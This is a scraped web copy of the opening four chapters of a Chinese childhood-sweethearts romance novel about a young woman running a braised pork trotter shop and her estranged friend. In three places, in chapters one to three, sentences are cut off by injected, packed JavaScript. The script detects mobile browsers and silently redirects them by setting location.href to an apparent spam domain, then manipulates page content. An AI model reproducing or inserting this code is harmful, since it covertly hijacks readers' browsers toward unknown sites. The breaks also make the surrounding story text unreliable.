《温水煮鱼[青梅竹马]》 1. 第一章 深夜,大城市的霓虹灯和led大屏交错闪烁着,写字楼一层的共享办公区灯光暗下,一个身形修长的男人走到大堂电梯前,随手扯了扯干净衬衣上的领带,清隽的眉目夹杂着几分疲倦。 片刻后,一辆黑色吉利从地下停车场驶出,缓缓隐入夜色。 时任与大学毕业快一年了,这也是他创业的第二年,虽然还在起步阶段,但凭借着专业能力和大学时期兼职积攒下的人脉,公司业务进展得还算顺利。 只是作为十几个人的小团队领头羊,他不免要多费神费力,加班到深夜是家常便饭。 前方是红灯,幽静的十字路口只有两三辆车在穿行,时任与踩下刹车,修长的手指在屏幕上滑动,随后点进一个熟悉的界面,很快便选好套餐下单支付。 为了保持身材,他工作再忙也会坚持早起健身,因此在饮食上难免更加注意,往常加班回到家饿了,顶多是啃块全麦面包,吃宵夜这种事,是这几天才养成的不良习惯。 他在天明小区租了间单身公寓,一房一厅,一个人住绰绰有余,刚从电梯出来,就看到门口的外卖架上已经摆着一份廉价塑料袋装着的餐盒。 提着外卖袋放到餐桌上,时任与走进卫生间,洗手台上方的架子是清一色的灰白洗漱用品,只有一瓶粉蓝色的洗手液显得有些突兀,他按了下泵头,一股西柚香气飘在空中。 洗完手,他摘下银框眼镜,高挺的鼻梁瞬间卸下防备,一双狭长的眼眸映在镜中。 回到餐桌前,将塑料袋扯开,拿出里面的饭盒,透明的盖子下是红褐色的猪脚肉,在灯光下泛着油润的光泽。 时任与怔了下,今天给的肉似乎比前几天要多,他习惯性地先吃完翠绿的油菜心,才将酱色浓郁的米饭裹上肥肉相间的肉片,张嘴吃下一大口。 猪脚肉晶莹剔透,吸满了卤汁,入口软烂,配上带着稻米香的细米,丝毫不觉得腻味。 这是外卖平台上的一家新店,双棠巷的猪脚饭店关门几年来,他第一次吃到与记忆中味道无异的店。 寂静萦绕的深夜,美食最是抚慰人心,外卖盒见底时,他还是忍不住想起那个大眼汪汪的少女,时任与自嘲一笑,将欲念从脑中挥走。 - 今天的客户谈得还算顺利,时任与从咖啡馆走出来时,运动手环上显示时间还没到18点,上车系好安全带,正准备往公司开,手机上便传来信息。 DC:「在干嘛?」 食人鱼:「当牛马。」 DC:「时总这地位还得当牛做马?」 食人鱼:「有事快说。」 时任与长手一伸,从眼镜盒里取出眼镜戴上,拿起笔记本回了几条工作消息,才将视线放回到私人手机上,待到看清段储发来的文字,茶色的眼眸才生出几分波澜。 DC:「天心前段时间经常自己出门,说是和朋友吃饭,我怀疑是喜盈回来了。」 时任与睫毛微颤,夕阳缓缓落下,橙黄的光线穿过玻璃,模糊了轮廓分明的侧脸,他垂眸遮住眼底的情绪,回了句知道了。 黑色吉利在车流中漫无目的地行驶着,正是晚高峰,城市人烟袅袅,灯火明亮。 等红灯时,他随手滑了一下手机,消息通知栏里的商家群正在发券,出于职业习惯,他顺手点了进去,是那家最近经常点的饭店。 「为了感谢开业一个月以来大家的支持,本周起至下周末,老客户点外卖满20减3,外赠一瓶雪碧。」 时任与眼尾上挑,点进平台看了一眼店铺地址,上面挂着一张气派的门面照,门口还摆着一堆开业花篮。 细看一遍地址后,他才微微皱眉,大学兼职跑了三四年外卖,让他对穗城的大街小巷都熟知无比,这条街道,是骑手圈里有名的外卖街,盛产各种预制饭菜。 这几天点外卖都是刚加完班,他没有留意过地址。 时任与给助理发了条消息,延后今晚的会议,随后调转方向,往熟悉的路线开去。 外卖街和记忆中一样,在城中村一条主街中,时任与将车停在村外,步行走了进去,整条街道的左边是琳琅满目的餐饮店,右边则排满了骑手们的电动车。 说是餐饮店,其实更像是食品小作坊,路面湿哒哒的,间或夹杂着黏腻的油渍,都是各家店里倒出来的废水,缓缓地向街口的下水道口排去。 几乎每家店门口都摆着一个大型垃圾桶,废弃的预制菜包装层层叠叠,透出一股难闻的酸臭味。 时任与早有准备,一下车便戴上口罩,毫不费力地找到了外卖平台上那家光鲜亮丽的猪脚饭店,在一众脏乱差的环境里,明亮玻璃中的小店显得有些突兀。 店铺不大,透过玻璃可以看到干净的明厨,灶台上放着一口大铁锅,一旁的架子整洁有序,摆放着各种调料和卤料,卤好的猪脚放在不锈钢桶里,上面盖着透明锅盖,隐隐传来浓郁的香味。 玻璃窗上开了个小口,用布帘遮着,外面延伸出一个小台面,上面放着几份熟悉的塑料袋,应该是等着骑手来拿的外卖。 店铺另一边则放着冰柜、货架和一套简易桌椅,货架上是齐齐整整的餐盒,除此之外,再没有别的空地了,所有陈设一览无余。 店里没有人,正是出餐繁忙的时候,周围的店家都在忙碌,唯独这家店显得有几分冷清。 时任与皱眉扫视了一圈,有个中年骑手快步从他身边走过,从窗口前随手拿了一份塑料袋,又急匆匆地从他面前经过,准备往外走。 “等等。” 男人回头看他。 “看都没看,你怎么知道这是你的餐?” 见他一身西装革履,不像是这里的老板,男人大声嚷嚷道:“不是我的还能是你的啊,别耽误我送外卖。” 时任与送外卖时,偶尔也遇见过这样的人,喜欢趁乱随便拿餐,自己偷偷找个地方吃,一般商家太忙,一两个小单也顾不上管。 他微微眯眼,冷笑道:“看看你接的单。” 许是时任与的眼神太过冰冷,看着又人高马大的,男人自知理亏,将塑料袋甩给他,丝毫没有被揭穿的窘迫,边走边嘀咕:“拿错了。” 时任与把外卖放回台面上,侧头正要离开,却被眼前的一幕焊住双腿。 温喜盈一身轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723951|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便运动装,细软的头发高高挽起,在头顶扎了个圆溜溜的丸子,那双熟悉的杏眼正看着身旁的年轻男人,两人不知在聊什么,有说有笑地沿着街道走来。 时任与只觉得那抹笑很是扎眼。 他站在原地,等着她看到自己。 似乎有所感应,温喜盈几乎是瞬间偏头看来,记忆中的清爽少年,突然变成了成熟稳重的大人,白衬衫搭着笔挺的西裤,身形颀长地站在自己的小店门口。 温喜盈指尖无意识地掐进掌心。 这五年,夏天心给她发不过不少时任与的照片,却远此刻没有见到真人时来得摄人魂魄。 他不知什么时候戴起了眼镜,幽黄的路灯下,男人镜片下的眼神晦暗不明,眉骨间神色疏离,明明只有几步之遥,却像隔着千万里。 但温喜盈知道,他在看自己。 没有太多的思考,她下意识的念头便是跑,也顾不上身边人奇怪的目光,温喜盈转身往街道另一头走去,地面黏糊糊的,她不敢跑太快,刚走出没几步,脚下突然踩到一片泡沫盒。 就在她以为要狼狈地和路面亲密无间时,手腕上传来清凉的触感,一只大手将她紧紧抓住,下一秒,熟悉的西柚清香将她包裹。 时任与将她扶好站稳,才把人从自己怀里松开,声线清冷道:“还躲是吧?” “你认错人了。”温喜盈垂头,盯着他锃亮的皮鞋,上面有方才溅上的污渍。 头顶传来一声冷笑,随后便没了声。 僵持了片刻,终究是温喜盈没抵过好奇心,悄悄抬头看去,却撞入一双幽深的眼眸中,即便是隐藏在镜片后,他那双眼睛似乎还是能一眼看穿自己。 温喜盈不甘示弱,圆润的杏眼回望他,带着几分倔强。 时任与突然勾唇一笑,眼里闪过戏谑:“温喜盈,亲了人就跑,现在在这里装无辜是吧?” 温喜盈一怔,转而一脸轻松道:“喝醉了而已,再说了,小孩子打打闹闹罢了,都过去多久了,你不会还当真了吧?” 眼前的人笑容突然僵住,他敛下长睫,再抬眼时,脸上神情淡漠:“傻子才当真。” “小温老板,这是?”一道男声打断了两人。 时任与抬头看去,是刚才和她聊得火热的男人,这会近看,才发现男人年纪不大,看起来像还没毕业的大学生。 电话声音响起,他看了眼手表,和助理约好的会议时间快到了。 时任与抿唇,抬眸看向那张白皙的脸,她瘦了,脸颊都没以前有肉了,语气冷冷道:“都当老板了,没事就别在外面瞎晃悠,店里丢东西都不知道。” 温喜盈愣了下,面前高大的身影便扬长而去,鼻尖淡淡的西柚清香也随之消散。 周泽看着温喜盈流转的眸光,心下有些不安,方才那个男人说的话,他全都听到了,随即开口问道:“他是你什么人啊?” 温喜盈回过神,眼睛一转,笑得有几分娇羞,回道:“男朋友,吵架了,来找我和好呢,不过我可没那么好哄,等晚上回去再原谅他。” 说完便转身往店里走去,毫不在意愣在原地的人。 2. 第二章 过了晚饭和宵夜的高峰期,温喜盈打包好最后一份外卖,将所有碗盘器具清洗干净,放进消毒柜里,又回到水池边,挤了些洗手液洗手。 清爽的西柚味在空气中弥漫,往常熟悉的香气,此刻却荡得她有些晃神。 温喜盈从小就喜欢西柚味的东西,因此几乎所有洗漱用品,牙膏、洗手液、沐浴露、洗衣液,只要是和西柚有关的香气,妈妈都会买给她,久而久之,这个香味成了她的阿贝贝。 擦干手,她终于得闲坐下来,拿出笔记本电脑,开始翻找监控录像。 这家店开了一个月,她一时半刻还停留在双棠巷时的记忆,总以为做生意还像以前,偶尔走开没人看店,也没什么大不了的。 只是这一周来,她每天晚上算账时,总发现有外卖单数量对不上,这才怀疑是有人小偷小摸,偷了她的猪脚饭。 店铺里没有排污下水口,她装修的预算也全用在厨房上了,只能舍弃掉厕所的空间。 外卖街上的人都是到街口的公共厕所解决,或许就是在她去洗手间时被偷了,于是温喜盈咬咬牙,斥巨资买了个监控,安在店门前一个隐蔽的位置,不细看根本瞧不出来。 为了留足时间引出小贼,她今天还特意放慢了脚步,慢吞吞地上完厕所,又在附近逗留了一会,这才在返程时被周泽纠缠住。 监控调到19点钟,一个俊朗的面庞出现在屏幕里。 温喜盈呼吸一滞。 店门口的灯是新装上的,光线充足,监控将人的面部表情拍得一清二楚,男人茶色的眸光转了一圈,最后停留在水池的方向上。 温喜盈放在触摸板上的手指一顿,按下暂停键,将人脸定格在屏幕上。 寂静的夜被手机铃声划过,温喜盈回过神,按下接听键。 “盈盈,你见到时任与了?”夏天心一听电话接通了,开门见山道。 “他告诉你的?”温喜盈喝了口温水,将双腿蜷缩到椅子上,抱着膝盖闷闷道。 “是啊,这家伙凌晨12点打电话来坏我好事。”夏天心环住身旁人的腰,咬牙切齿道。 温喜盈奇怪道:“不是你和他说我在这里的?” 电话那头传来一阵吼声:“我有这么不讲义气吗?” 温喜盈将手机拿远,直到听见那头的段储将人安抚好,她才凑近嘿嘿一笑:“知道不是你,我也不知道他怎么找到这的。” “既然都这样了,那你也别躲了,周末我叫上怀木和凝凝,给你办个接风宴。” 两个月前温喜盈回穗城,夏天心就想这么干了,只是一直被她拦着,说还没混出什么名堂,不想招摇。 夏天心不理解,几人打小一起长大,穿什么花色的裤衩彼此都见过,凭他们的关系,完全不需要说这种话。 “好吧。”温喜盈轻声回答,算是答应了,顿了会,又状是无意道,“我们五个一起吗?” “什么五个,当然是六个,咱们好好聚聚,那就说好了,周六你闭店一天,我到时候来接你。”似是怕她拒绝,夏天心说完就挂了。 温喜盈听着她风风火火的安排,有些好笑,视线瞥向屏幕上的脸,片刻后才喃喃道:“六个呀。” - 温喜盈开的店叫喜竹饭店,喜取自她的名字,竹则取自母亲的名字。 做餐饮并不是轻松的事,更何况温喜盈要独自一人操持,每天忙完到家洗漱上床时,都是凌晨三四点了,睡一觉到中午十二点,又要去拿货、备料、做卤肉。 一个人忙不过来,所以她从一开始就计划只做晚饭和夜宵,菜单也不像别的店,烧鸡、烧鹅等斩料菜色丰富,整个店只卖卤猪脚。 就是这样一个月下来,账上数目还远远不及预期,回本有待时日。 幸运的是,外卖平台上的口碑都还不错,已经开始有一些回头客。 为了方便工作,她在附近的老小区租了个单间,走十几分钟路就能到,凌晨两点,街上做烧烤和小炒的店还开着,熏人的浓烟弥漫开来,温喜盈加快了脚步,走出被烟雾环绕的空气。 吵闹的外卖街越来越远,周围变得一片寂静,只有树叶被风摩挲出的声响。 温喜盈捏紧了肩上的包带,一只手钻进包包的侧面,抓着里头的喷雾瓶。 身后的人已经跟了她快五分钟,而且离她越来越近了。 脚步声逐渐贴近,肩头突然被拍了一下,温喜盈瞬间拔出防狼喷雾,正要转身反击,却听见一道熟悉的声音。 “小温老板,是我。”周泽咧嘴笑道。 温喜盈握紧瓶子,皱眉看他:“你跟着我干嘛?” 周泽见她一脸防备,赶紧摆手:“你别误会,明早我没课,今晚在店里帮我爸忙,看你一个人回去,怕不安全,想着送送你。” “不用了,我自己能回去。”温喜盈语气变冷,带了几分嫌恶。 周泽不想放弃,解释道:“我真没恶意,就是怕你遇到危险。” “我看最大的危险是你吧。”身后突然传来一道低沉的声音。 温喜盈转头看去,幽暗的路灯下,时任与还是那身装扮,许是夜晚有些凉,白衬衫外套上了修身的西装,正一手插着裤兜,身姿挺拔地站在一颗大树旁。 她睫毛微颤,对着周泽轻声道:“我男朋友来接我了,再见。” 说完便快步朝时任与走去,直到两人离得很近,才抬头低声道:“别说话,跟我走。” 时任与一眼便瞧见她眸中的水汽,顿了下,抬腿和她并排往前走。 两人走了一小会,没有人主动开口。 温喜盈低头踩着影子,悠悠的风声从耳边擦过,方才被提到嗓子眼的心,突然就慢慢平复了下来。 只是有人刻意想打破气氛,片刻后,头顶传来一道阴阳怪气的声音。 “男朋友?不是小孩子打打闹闹?” 温喜盈听见他的冷嘲热讽,突然有些生气,停下脚步对着他道:“那个人纠缠我很久了,你就当做个好事,替我挡挡桃花不行啊。” 时任与长腿一顿,偏头看她,夜色下被树荫遮挡的侧脸显得有几分柔和。 “吓到了?”不知是不是周围太安静,连语气都放轻了几分。 温喜盈小巧的鼻子皱了皱,不屑道:“切,就他也能吓到我。” 时任与微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723952|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微俯身,俊脸突然向她凑近。 温喜盈愣在原地,听着自己急促的心跳声,杏眼瞪得圆溜溜的,而后手上一空,喷雾瓶一下转移到他掌心里。 时任与凝眉扫了眼瓶身的说明文字,沉声道:“这个没什么用,真遇上危险了防不住的。” 温喜盈一把抢了过来,塞回包里,不服气道:“谁说没用的,我跑得快,只要能让对方暂时反应不过来,我就能跑掉。” 她当年在双棠巷,可是蝉联多届的短跑冠军。 时任与也没想和她争辩,见她一副神气的模样,嘴角微不可闻地上扬了片刻。 “回来了为什么不让我知道?” 温喜盈一怔,视线停留在他领带上的温莎结,红唇微张,最后只缓缓说出三个字:“没必要。” 周围的空气突然凝固,时任与眸色微沉,伸手扯下领结,声线冷清道:“带路。” 温喜盈头也没抬,转身朝着万和小区的方向走去,两人就这样一前一后,保持着三步远的距离,橘黄色的路灯下,只剩下哒哒的脚步声。 一直到温喜盈居住的楼栋下面,她才停下脚步,回头看了时任与一眼,有些别扭道:“谢谢。” 时任与嘴角一勾,眼神带着嘲弄,冷冷道:“做好事而已,不用客气。” 两人从出生起就认识,这么多年的相处,正如她撒谎总是逃不过他的眼睛,温喜盈当然也知道他此刻在生什么气。 只是他们都长大了,不再是闹矛盾吃根冰棍就能解决的年岁了,时间会淡化一切,五年一闪而过,她有了更重要的事情要追逐,再也没法回头了。 既然如此,也没必要再互生纠葛了。 温喜盈心里默念着那三个字,径直转头朝楼道走去。 老旧楼梯的声控灯不太灵敏,她习惯性地在每一层的最后一级台阶加重脚步,灯光一层层亮起,随后停在了五楼,片刻后,楼道里最后一盏灯也暗下。 时任与数着楼层,左边房间窗户的灯闪了几下,才慢慢点亮。 春寒料峭,阵阵冷风从远处刮来,他却似乎察觉不到,只是紧紧盯着那扇窗户,直到唯一的光线被熄灭,才动弹了一下有些僵硬的手指,转身离开。 房间里。 温喜盈一手抓手机,圆润的眼睛盯着屏幕。 自打开了这家店,她的睡眠质量直线上升,每天累得一沾枕头就睡,今夜大脑却异常兴奋,在床上翻来覆去好几次,干脆刷起了短视频转移注意力。 指尖不停上划,屏幕上的腹肌帅哥一个个闪过,最后她还是切回了相册,点开刚才在店里存下的截图。 温喜盈答应过母亲,要把猪脚饭店重新经营起来,于是只要和店铺相关的,都是大事,将来要记入喜竹饭店的纪事簿中。 今晚她逮到了偷外卖的小贼,这是一件值得庆祝的事,为了留个纪念,她才把这一幕存在手机里,绝没有什么别的原因。 想到这里,温喜盈觉得自己真是个很有仪式感的人。 意识逐渐模糊前,她发现自己今天要少睡两个小时了,忍不住戳了戳屏幕上的人脸,心底抱怨着。 都怪你,讨厌鬼。 3. 第三章 闹钟铃声响起时,温喜盈还沉浸在做了一整晚的梦中。 梦里,她被坏人盯上,一路狂奔也没能躲过魔爪,绝望之际,时任与站在一旁冷眼旁观,眼里满是厌恶,薄唇一张一合,嫌她是个拖油瓶。 温喜盈抹了下眼角的水珠,艰难地从床上爬起来,快速洗漱完,随手拿了件黑色卫衣和牛仔裤套上,出门干活。 到店里时,送猪肉的师傅正好到了,猪肉是她在批发市场订的,师傅人很热情,见她细胳膊细腿的,每回都会帮着把肉搬到水池边上。 温喜盈给师傅结了账,送他到门口时,斜眼瞥见周泽站在外面,她像是没瞧见一样,视线一扫便转身回店里。 周泽是隔壁小炒店老板的儿子,在穗城上大学,平时没课会回自家店里帮忙,温喜盈装修时为了省钱,每天都跑来店里给装修师傅打下手,周泽便是那会常常过来搭话。 他也不曾搭过手,只是站在门口看着他们干活,嘴上话却没停过,全是在打听温喜盈的私事,一开始她还会打哈哈避开话题,后来不耐烦了,也会假装不小心溅落油漆,弄得他运动鞋上污点斑斑,再十分无辜地道歉。 温喜盈自小长得漂亮讨喜,一双圆润的杏眼大而明亮,脸颊带点小肉,五官生得精致,笑起来嘴边还有个小梨涡,见过的人无不夸她灵动可爱。 小时候身边有夏天心一行人在,旁人没什么机会靠近,到了大学,都是荷尔蒙正盛的年纪,不少男生向她发出过邀约。 一开始温喜盈还有些不知所措,慢慢地拒绝得多了,也就练出了经验,周泽那直勾勾的眼神,她怎会看不出,只是都在这条街上开店,她又初来乍到的,不好得罪人,才总是礼貌回应。 温喜盈瞧着乖巧无害,其实脾气很大,昨夜做了一晚噩梦,又没休息好,这会她可没心情应付。 刚洗干净猪肉准备焯水,门口突然传来一道喊她的声音:“出来拿快递。” 温喜盈洗干净手就往外走,快递员似乎很着急,将笔和快件一把塞进她怀里,说道:“快签收,打你电话怎么是空号?” 温喜盈签字的手一顿,视线转移到快递单上收件人的号码,神情微怔。 “你是温喜盈没错吧?”快递员见她表情不对,确认道。 “是我,可能是不小心填错号码了。”温喜盈签完字,把单子递给他。 快递员又核对了一遍地址,确认没问题才放心地离开了。 快递盒不大,温喜盈掂了掂重量,单子上的寄件人是同城的一家大型五金店。 温喜盈垂下卷翘的睫毛,眼底闪过一丝不安,或许是夏天心买的,她向来神经大条,可能一时疏忽填成了自己以前的号码。 快递被随手放到桌子上,她继续进灶台里忙去了。 直到凌晨两点,店铺收拾干净,温喜盈准备提包走人时,才想起那个快递盒。 犹豫了两秒,她从工具盒中取出一把刀,三两下划开了纸箱,里面是一个白色包装的盒子,盒子上印着一张图片,看起来是个手电筒,一旁是全英文的标注。 温喜盈扫了一眼,不自觉咬唇,将盒子打开,照着说明书操作一遍后,想了想,又把手电筒放回去,复原好包装,塞进随身包里。 外卖街的烧烤黑烟依旧,她匆匆走出来,步入安静的街区时,下意识朝路边的大树看去,除了被风吹散的叶子,空无一物。 - 周六这天,温喜盈一觉睡到了下午两点,才被夏天心的电话吵醒。 “盈盈,我们出发啦,大概一小时到。” 温喜盈揉了揉还迷蒙的眼睛,懒懒应了声,压根没反应过来,从夏天心住处过来只需要半个小时。 于是等她梳洗打扮好,站在小区门口看到夏天心的车时,只是一脸兴奋地晃手。 回穗城后,她们见面的次数也并不多,之前店刚开事情多,夏天心又经常出差,她们时间总是凑不上,距离上次见面,已经过去快一个月了。 车刚停下,副驾驶上就蹿出一个高挑的身影,夏天心一把将她抱起来,转了一圈才放下。 “想死你了。” “我也想你。”温喜盈嘿嘿一笑,说着将手里的袋子递给她,“特意给你们做的,拿回家吃吧。” 夏天心拉开袋子,里面放了两盒卤猪脚跟一盒干豆腐,浓郁的香味从中溢出。 “好香,算一算都有五年没吃过这味道了。” 温喜盈抿嘴一笑。 副驾驶的车窗被摇下,露出一张清爽干净的娃娃脸,段储撑着方向盘,探头朝她招手:“好久不见啊喜盈。” 温喜盈微微低头,和他打了声招呼。 几年没见,段储外表变化不大,只是气质不像从前那般腼腆内向了。 “好啦,咱们上车聊吧。”夏天心说完,便径直坐进车里。 温喜盈自觉地走向后座,拉开车门侧身坐了进去,才发现左手边被一道阴影笼罩。 她抬头看去,便撞入一双深如潭水的眼眸。 时任与今天没戴眼镜。 “你……你怎么在这?”温喜盈的笑容僵在脸上。 想起她方才在车外还笑颜如花,时任与心底升起一丝烦躁,不耐道:“我为什么不能在这?” 夏天心回头打圆场:“我们正好顺路就一起接了。” 谁都知道这两人不对付,小时候就常常拌嘴吵架,周围人都习以为常,甚至高考毕业那年还闹了顿大的,五年都不联系,这回好不容易将人凑在一起,她必须得让两人按头和好。 车子启动后,谁都没再开口说话。 段储抽空看向副驾驶的女朋友,她正敲着键盘给饭店老板订酒,又瞄了眼后视镜,后座的两人都偏头看着窗外,瞧不清神情。 夏天心定的是一家粤菜馆,就在附近不远处,车子开到餐厅门口,她报了包厢名,让后座两人先进去,他们去找停车位。 温喜盈迟疑道:“一起停好车再进去吧。” 啪嗒—— 另一侧的车门被推开,时任与长腿一迈,自己下了车,随后车门被关上。 夏天心笑眯眯哄道:“没事,先去吧,他们俩也快到了,我们一会在门口碰面了再进去。” 想到许凝,温喜盈暗暗叹口气,应了声下车了。 时任与没等她,自顾自往餐厅走,到门口时,瞥见玻璃门倒影里的人,脚步一顿,停下来和服务员交谈了两句。 温喜盈走到时,服务员正好看了过来,回了句:“好的先生。” 话音刚落,时任与便轻车熟路地往里头走去。 温喜盈落后一步跟在后头。 走到一间包厢前,时任与推门而入,径直找了个位置坐下。 温喜盈环视一周,包厢不算大,圆桌边上正好是六个座位,她咬了咬唇,最终选择了时任与对面隔着一张桌子的位置。 时任与似乎不在意她的举动,拆开筷子,戳破碗碟上包装的塑料袋,拿起转盘上的茶水倒进碗里,开始冲洗碗筷。 温喜盈从包里掏出一个包装盒,放在转盘上,对着他问道:“这是你买的吗?” 时任与扫了一眼,淡淡道:“我没那么闲。” “多少钱,我还你。”温喜盈懒得和他争辩。 时任与手一顿,抬眸笑了笑:“还我?你带现金了?” “……没有,我扫码转你。” “没有收款码,只接受微信红包。” 温喜盈皱起细眉,抬眼瞪他。 时任与将冲洗好的碗筷放到身旁,和还没拆包装的餐具交换了一下,状似无意道:“坐过来吧,夏天心一会看到了,又要念叨什么不团结了。” 温喜盈没动,还维持着瞪他的表情,嘴唇不自觉地撅起。 时任与修长的手指往转盘上微微使力,将盒子转到自己面前,随后打开拿出手电筒,对着她晃了晃,声音放轻了几分:“过来,我教你怎么用。” 包厢里的灯是暖黄色的,洒在他深邃的五官上,透着一股柔意,温喜盈走过去时,脑子里一直在念着美色误人。 时任与似乎真的只是想教她怎么用,这是一把强光手电筒,除了照明以外,还有激闪功能和警示灯,正对人眼打开,可以造成刺眼的眩晕效果,灯头处往外一拉,还有两块固定的硬角,用力砸可以达到防身的效果。 其实说明书很详细,温喜盈昨天已经看完一遍,他讲的,她都知道。 比起十八岁时的少年,他现在的声线更加低沉有磁性,演示时眼神专注,叫人不忍打断,就当复习一遍吧,温喜盈心想。 时任与讲完,把包装盒直接扔进一旁的垃圾桶,将手电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723953|173967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筒塞到她手里,随后拿出手机,在屏幕上划了划,摆出一个二维码放在她面前。 温喜盈眨眼,一脸不明所以。 “包装丢了,退不了了,还钱。”时任与一副理所当然的模样。 “……你有病是吧?” 温喜盈边骂边拿出手机,刚面部解锁完,就被时任与一把抢了过去,一通操作把自己的微信添加好,又往通讯录里输入一串号码,给自己拨了通电话,才把手机还给她。 “多少钱我忘记了,想起来了再告诉你,在此之前不能删好友。” 温喜盈正要发作,外面传来一阵脚步声。 第一个走进来的是许凝,一头大波浪卷发,美艳的五官比以前越加深邃,脸上化着精致的妆容,一身收腰连衣裙修饰出她姣好的身材。 她显然也第一眼就看见了温喜盈,眼中闪过一丝欣喜,随后又冷了下来。 温喜盈缓缓站了起来,讪讪道:“好久不见。” “还记得我呢,温女士。”许凝皮笑肉不笑。 温喜盈敢在时任与面前张牙舞爪,对她却说不出口,有些不知所措地捏着桌布。 夏天心从身后揽住许凝的肩膀,将人推到温喜盈身旁坐下,笑眯眯道:“过去的事就过去了,今天给盈盈接风,咱们都开心点。” 许凝哼了一声,没再说话,低头看着自己的美甲。 两个男人也一前一后走了进来,江怀木似乎又长高了,估摸着已经有一米九了,身形健壮,和夏天心描述的一样,天生就是吃运动员这碗饭的。 江怀木一如既往地没察觉到周围奇怪的氛围,一脸乐呵道:“喜盈,你总算回来了,你都不知道,这五年,食人鱼这家伙……” 话还没说完,就被时任与打断:“先上菜吧,饿了。” 这顿饭一开始还有些不自然,好在有夏天心这个气氛组在,几口菜刚下肚,酒便一瓶瓶地满上。 “来,庆祝盈盈回归,今天都不醉不归,干了。” 江怀木最近没有比赛,队里没下忌口要求,他难得放纵,除了要开车的段储,每个人他都轮着敬了几回。 许凝也在沉默地喝了几杯酒后,终于主动开口说话:“温喜盈,你这个狠心的女人,一走就是几年不联系,到底有没有拿我当过朋友?” 温喜盈酒量不好,已经有几分醉意,只是对着她傻呵呵地笑,酒杯不停往嘴边凑。 喝到最后,她开始双眼冒金星,连站都站不稳,险些摔倒。 一直冷眼旁观的时任与眼疾手快地将人扶住,想把她按回座位。 温喜盈挣扎着锤他的手臂,小脸皱成一团:“我要去尿尿。” 扫了眼趴在桌子上的许凝,又看向倒在段储怀里的夏天心,时任与叹了口气,认命地扶着人往外面的卫生间走。 好在温喜盈还不算完全失去意识,顺利上完厕所,洗干净手,才慢吞吞地走出来,整个人轻飘飘的,脚下像踩着棉花。 时任与刚大跨一步上前,就被温喜盈抓住了手臂,睁着大眼嘀咕道:“好困,我要回家。” “那回去拿东西,我送你回去。”时任与低声道。 温喜盈圆润的双眼水雾迷离,眨眼反应了一会,才迟钝地点点头。 穿过走廊时,她瞧见了半遮的屏风后有两张沙发,是给客人休息的,于是吵着要过去睡觉。 时任与争不过她,只好护着她走了过去。 温喜盈一坐下就倒在了靠背上,抬头笑眯眯地盯着他看:“你也坐。” 时任与在她身旁坐下,视线停留在她白得晃眼的肌肤上,她今天穿了件天蓝色的针织衫和白色短裙,露出一双匀称的小腿。 虽然已是春天,夜里还是有些凉意的,时任与脱下外套盖在她的腿上。 熟悉的西柚香味扑鼻而来,温喜盈满足地深吸口气,用手拢住外套,咧着嘴傻笑。 时任与垂眸看着她搭在肚子上的手,白嫩的指节微微弯曲,在半明半暗的光线下显得晶莹剔透。 半晌,他柔声道:“和好吧?温喜盈。” 时任与等了半天,也没听到回应,抬头一看,温喜盈已经昏睡在了沙发上,两颊像是被染上粉色的光晕,红通通的。 他鬼使神差地伸手轻轻捏了一下。 真好,手感一点也没变。 4. 第四章 温喜盈做了一个很长的梦,泛黄的光晕中,她回到了1999年的那个夏天。 双棠巷有一片很大的广场,广场中央有一颗大榕树,树干粗壮,枝桠延绵,笼罩出一大片阴影,巷子里有老人说,这树打民国起就在了。 七月盛夏,南方酷暑难捱,一到傍晚,大人小孩都愿意到树荫下乘凉玩耍。 温喜盈家的猪脚饭店就在广场十米外,她像往常一样,坐在店门口的长凳上,晃荡着一双小肉腿,粉色的连衣裙裙摆被风轻轻鼓起,大眼不时咕噜噜地往身旁转。 时任与瞥了眼手上包装拆了一半的冰棍,在她第三次把视线移过来时,终于把冰棍伸到她面前。 温喜盈把脸别到一边,两颊鼓成一个包,赌气道:“我才不要。” 时任与没说话,眼看冰棍已经开始融化滴水,便一把含进嘴里。 温喜盈鼓得更圆了。 时奶奶傅梅摔伤了,就在幼儿园放暑假前几天,伤筋动骨一百天,只好居家躺着养伤,时兴望给温家付了钱,让儿子每天到她家吃饭,顺道托温广生夫妻帮忙照看着。 都说寄人篱下要看主人眼色,可时任与却毫无自觉,对她这个小主人管东管西,甚至还敢背后打小报告,害得她被惩罚,没收了今天的冰棍。 眼见远处夕阳余晖快落下,夏天心几人才从巷口哒哒跑来,人还没到,她嘹亮的声音就已经传过来了:“喜盈,食人鱼,我们来了。” 江怀木跑得最快,两人后面还有一个没见过的短发男孩,有些吃力地跟着。 